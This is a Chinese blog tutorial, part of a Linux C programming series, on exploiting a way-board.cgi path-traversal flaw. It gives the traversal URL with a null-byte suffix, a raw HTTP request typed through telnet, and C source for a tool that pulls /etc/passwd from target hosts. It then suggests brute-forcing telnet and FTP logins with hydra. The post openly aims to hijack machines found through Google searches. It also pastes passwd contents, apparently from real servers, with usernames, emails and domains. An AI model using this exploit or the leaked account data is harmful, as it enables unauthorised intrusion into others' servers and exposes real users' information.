现在的位置: 首页 > 综合 > 正文

linux c 编程之四 way-board.cgi 漏洞扫描器

2013年12月03日 ⁄ 综合 ⁄ 共 9556字 ⁄ 字号 评论关闭

linux c 编程之四 way-board.cgi 漏洞扫描器

一思路:
前天玩了way-board.cgi这个漏洞,很不错。这个漏洞的说明:
Way-board.cgi泄露系统文件漏洞,利用它可以容易得到主机的passwd及其他有相应权限的文件.
具体手工利用一:
利用www.google.com的搜索,搜索关键词“way-board.cgi”会得到很多的网址如:

targetip/way-board/way-board.cgi?db=market

另开浏览器 ,地址栏添上修改的网址:
http://targetip/way-board/way-board.cgi?db=../../../../../../../etc/passwd%00

就可以看到目标主机的passwd.结果如下:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/www/ftp: anonymous:x:15:50:FTP User:/www/ftp: nobody:x:99:99:Nobody:/: mishka:x:499:100:Skyport DNS Service:/home/mishka:/bin/bash nak:x:500:100::/home/nak:/bin/bash rbo:x:501:100::/home/rbo:/bin/bash chiliasp:x:504:100:Chili!ASP Database User:/home/chiliasp:/dev/null listserv:x:505:100::/home/listserv:/bin/bash steve:x:506:506::/home/steve:/bin/bash
............
hkschule:x:990:200:hkschule@eurokorean.com:./www/htdocs/eurokorean/hkschule:/etc/ftponly sweden:x:991:200:sweden@eurokorean.com:./www/htdocs/eurokorean/sweden:/etc/ftponly heidelberg:x:992:200:heidelberg@eurokorean.com:./www/htdocs/eurokorean/heidelberg:/etc/ftponlyfinkorea:x:993:200:finkorea@eurokorean.com:./www/htdocs/eurokorean/finkorea:/etc/ftponly
涝仿(贸府) 坷幅
 

霸矫魄沥焊啊 粮犁窍瘤 臼嚼聪促.(../../../../../../../etc/passwd)

  
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/www/ftp: anonymous:x:15:50:FTP User:/www/ftp: nobody:x:99:99:Nobody:/: mishka:x:499:100:Skyport DNS Service:/home/mishka:/bin/bash nak:x:500:100::/home/nak:/bin/bash rbo:x:501:100::/home/rbo:/bin/bash chiliasp:x:504:100:Chili!ASP Database User:/home/chiliasp:/dev/null listserv:x:505:100::/home/listserv:/bin/bash steve:x:506:506::/home/steve:/bin/bash bdsmark:x:509:501:bdsmark@bdsmark.com:/home/bdsmark:/bin/bash bd-dollz:x:510:502:bd-dollz@bd-dollz.com:/home/bd-dollz:/bin/bash suchislifeusa:x:511:503:suchislifeusa@suchislifeusa.net:/home/suchislifeusa:/bin/bash memphispoetry:x:512:504:memphispoetry@memphispoetry.com:/home/memphispoetry:/bin/bash eagleridgestore:x:514:507:eagleridgestore@eagleridgestore.com:/home/eagleridgestore:/bin/bash 
...........
hkschule:x:990:200:hkschule@eurokorean.com:./www/htdocs/eurokorean/hkschule:/etc/ftponly sweden:x:991:200:sweden@eurokorean.com:./www/htdocs/eurokorean/sweden:/etc/ftponly heidelberg:x:992:200:heidelberg@eurokorean.com:./www/htdocs/eurokorean/heidelberg:/etc/ftponlyfinkorea:x:993:200:finkorea@eurokorean.com:./www/htdocs/eurokorean/finkorea:/etc/ftponly

复制出来,再用我写的第一篇所用的分解程序分解出用户。
通过远程猜解 telnet 或者ftp 就很容易得到主机的普通用户。
细心的会发现这样得到的用户,其实是很乱的,要手工整理很麻烦!

具体手工利用二:
在linux的下:
telnet targetip 80
在输入:
GET /way-board/way-board.cgi?db=../../../../../../../../etc/passwd%00 HTTP/1.0
就会得到以下的结果:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
.......
usr1120:x:1144:1145:www.freeware995.com:/home/cust1/usr1120:/bin/bash derekw:x:1069:1069:www.wavy10.com:/home/cust1/usr1071/html/derekwing:/bin/bash usr1121:x:1145:1146:www.ladyalejandra.com:/home/cust1/usr1121:/bin/bash
涝仿(贸府) 坷幅
 

霸矫魄沥焊啊 粮犁窍瘤 臼嚼聪促.(../../../../../../../../etc/passwd)
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
.........
pcap:x:77:77::/var/arpwatch:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
shoparound:x:1069:1069:www.wavy10.com:/home/cust1/usr1071/html/shoparound:/bin/bash usr1119:x:1143:1144:www.opuscaffe.com:/home/cust1/usr1119:/bin/bash giordano:x:1143:1144:www.opuscaffe.com:/home/cust1/usr1119:/bin/bash usr1120:x:1144:1145:www.freeware995.com:/home/cust1/usr1120:/bin/bash

这样得到的结果比浏览器得到的结果整齐的多.复制出来,
直接就可以用我的分解程序来分离用户,不过还是有问题
那样用户会重复和无用的用户。你只要看用户文档的特征就会发现。
用户文档出现了两次,得到的用户,会有重复。不过这个对猜解密码
没有什么影响,所以我编程出来也不检查用户的重复性,只是去掉那些
不可能的用户。

二.函数说明:
这个同样要用到socket的编程知识,在我的第三篇文章有了简单介绍,现在复习一下吧:
1.套接字的类型
SOCKET_STREAM
SOCKET_DGRAM
SOCKET_RAW
SOCKET_SEQPACKET
SOCKET_RDM

2.套接字的地址结构
sockaddr_in
sockaddr
in_addr

3.tcp套接字的实现过程:

服务器端

socket()
   |
bind()
   |                     客户端
listen()                 socket()
   |                        |
accept()<--协调连接---- connect()
   |                        |
recv()<---数据请求------ send()<--
   |     |                  |    |
send()<----数据响应----> recv()--
   |                        |
recv()<-----结束连接------close()
   |
close()

下面具体介绍几个重要的函数:

 1.socket():
1.1 原型:
#include<sys/types.h>
#incldue<sys/socket.h>
int socket(int domain,int type,int protocol);
1.2函数描述:
调用socket函数获得一个文件描述符
domain:协议簇和地址簇,最常用的有AF_INET(IPv4协议)和AF_INET6(IPv6协议)

type:通信类型 SOCK_STREAM(字节流套接口)、SOCK_DGRAM(数据报套接口)和
SOCK_RAW(原始套接口)

protocol:使用的协议,为0时系统自动选择。
1.3返回值:
成功返回非零,失败返回-1。

  2.connect():
2.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int connect(int s,const struct sockaddr *name,int namelen);
2.2描述:
调用connect为这个套接字指明远程端的地址
s是socket()函数返回的套接字描述符
name是包含远程主机ip地址和端口号的指针
namelen是远程地址结构的长度
2.3返回值
成功返回0,失败返回-1

  3.send():
3.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int send(int s,const void *msg,size_t len,int flags);
3.2描述:
s 是accept()返回的套接字描述符,对于客户是socket()返回的套接字描述符。
msg是指向一个包含传输信息的数据缓冲区。
len 指明传送数据缓冲区的大小
flags是传输控制标志,其定义如下:
0 常规操作
msg_ooB  带外数据
msg_DONTROUT  通过最直接的路径发送数据,而忽视底层协议的路由设置.
如果flags为0,则和read,write一样的操作
3.3返回值
成功返回发送数据的长度,以字节为单位,失败返回-1.

  4.recv():
4.1原型:
#include<sys/types.h>
#include<sys/socket.h>
int recv(int s,void *buf,size_t len,int flags);
4.2描述:
s 是accept()返回的套接字描述符,对于客户是socket()返回的套接字描述符。
buf是指向一个包含接受信息的数据缓冲区。
len 和 flags 同上。
4.3返回值
成功返回接受的数据长度,失败返回-1.

  5.gethostbyname():
5.1原型:
string gethostbyname(string hostname);
5.2描述:
本函数可返回某个机器名称 (Domain Name) 的 IP 网址 (IP Address)。若执行失败,则返回原来的机器名称。

 

  6.sockaddr_in 结构:
6.1结构:
sockaddr_in在netinet/in.h中定义:
struct sockaddr_in {
short int sin_family; /*协议*/
unsigned short int sin_port; /* 端口号 */
struct in_addr sin_addr; /* 网络地址 */
unsigned char sin_zero[8]; /* 保持和sockaddr结构大小 */
};
6.2描述:
使用sockaddr_in这个结构来设置/获取地址信息。
sin_family指代协议族,在socket编程中只能是AF_INET
sin_port存储端口号(使用网络字节顺序)
sin_addr存储IP地址,使用in_addr这个数据结构
struct in_addr {
unsigned long s_addr;
};
这个数据结构是由于历史原因保留下来的,主要用作与以前的格式兼容。
s_addr按照网络字节顺序存储IP地址
sin_zero是为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节。
6.3示例:
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(3490); /* short, NBO*/
sa.sin_addr.s_addr = inet_addr("132.241.5.10");
bzero(&(sa.sin_zero), 8);
注意:如果sa.sin_addr.s_addr = INADDR_ANY,则不指定IP地址

  7.hostent 结构
7.1结构:
该数据结构定义如下:
struct hostent{
char *h_name; /*主机的正式名称*/
char **h_aliases; /* 主机的别名*/
int h_addrtype; /*返回的地址类型,一般是AF_INET*/
int h_length; /* 地址的字节长度*/
char **h_addr_list /*主机的网络地址*/
}

这些是socket编程的基础东西,多看看,也不为过!

三.程序设计:

linux 下:
建立文件
nightcat@nightcat$vi wayboard.c
编辑以下内容:
/*The  wayboard canner  version 1.0
 *
 *One simple method  generate linux chicken is to search cgi script way-board.c
 *gi and use my small tools to get the passwd.txt
 *
 *
 *To complie:
 *user$gcc -o wayboard wayboard.c
 *
 *To use:
 *user$./wayboard somedomain.com directory (i.e. ./wayboard  antionline.com)
 *
 *Coded By Nightcat
 *March 2004
 * */

#include<sys/types.h>
#include<netinet/in.h>
#include<string.h>
#include<netdb.h>
#include<ctype.h>
#include<arpa/nameser.h>
#include<strings.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>

int main(int argc,char *argv[])
{

int s;
struct in_addr addr;
struct sockaddr_in victem;
struct hostent *bad;
char buffer[1024];
FILE *fp;
char cgihole[300];
if (argc!=3)
{
exit(printf("/nUsage:%s domain.com  directory",argv[0])); /***注意一***/
}
sprintf(cgihole,"GET %s HTTP/1.0/n/n",argv[2]);
printf("%s",cgihole);
if ((bad=gethostbyname(argv[1]))==NULL)
{
exit(printf("Error getting hostname/n"));
}

printf("check  the hole /n");
printf("coded by nighcat/n");

system("sleep 2");

s=socket(AF_INET,SOCK_STREAM,0);
if(s<0) exit(printf("socket error/n"));

bcopy(bad->h_addr,(char *)&victem.sin_addr,bad->h_length);
victem.sin_family=AF_INET;
victem.sin_port=htons(80);
if(connect(s,(struct sockaddr*)&victem,sizeof(victem))<0)
{
exit(printf("connect error/n"));
}
printf("/ngetting host's passwd.txt/n/n");
if((fp=fopen("getpasswd.txt","w"))==NULL){
exit(printf("cann't open file"));
}
send(s,cgihole,sizeof(cgihole),0);
while(recv(s,buffer,sizeof(buffer),0)>0){/***注意二***/
fprintf(fp,"%s",buffer);
}
fclose(fp);
close(s);
}

保存退出
:wq
编译执行:
$gcc -o wayboard wayboard.c
$./wayboard targetip /way-board/way-board.cgi?db=../../../../../../../../etc/passwd%00
就得到和手工利用二,一样的用户文档.

得到用户,就可以用破解的方法来得到主机的普通用户.我就喜欢用hydra来破解
$./hydra  -F /root/passwd.txt targetip  telnet
详细看他的说明啦!还可以破解其他的服务。ftp/vnc/smtp等等!

四.后言
注意一:这里是输入的格式,其实这个程序可以代用其他的showfile类漏洞,下一篇文章我会介绍另外一个showfile漏洞的利用。
注意二:这里要用到while 的判断,才能接受所有的返回数据,我在这里也弄了挺久才明白过来!这个的意思是如果数据还大于零,就继续往写入文件直到数据写完.

五 联系我:

nickname:nightcat
e-mail:ncnynl@hotmail.com
qq:1043931
icq:153436005

抱歉!评论已关闭.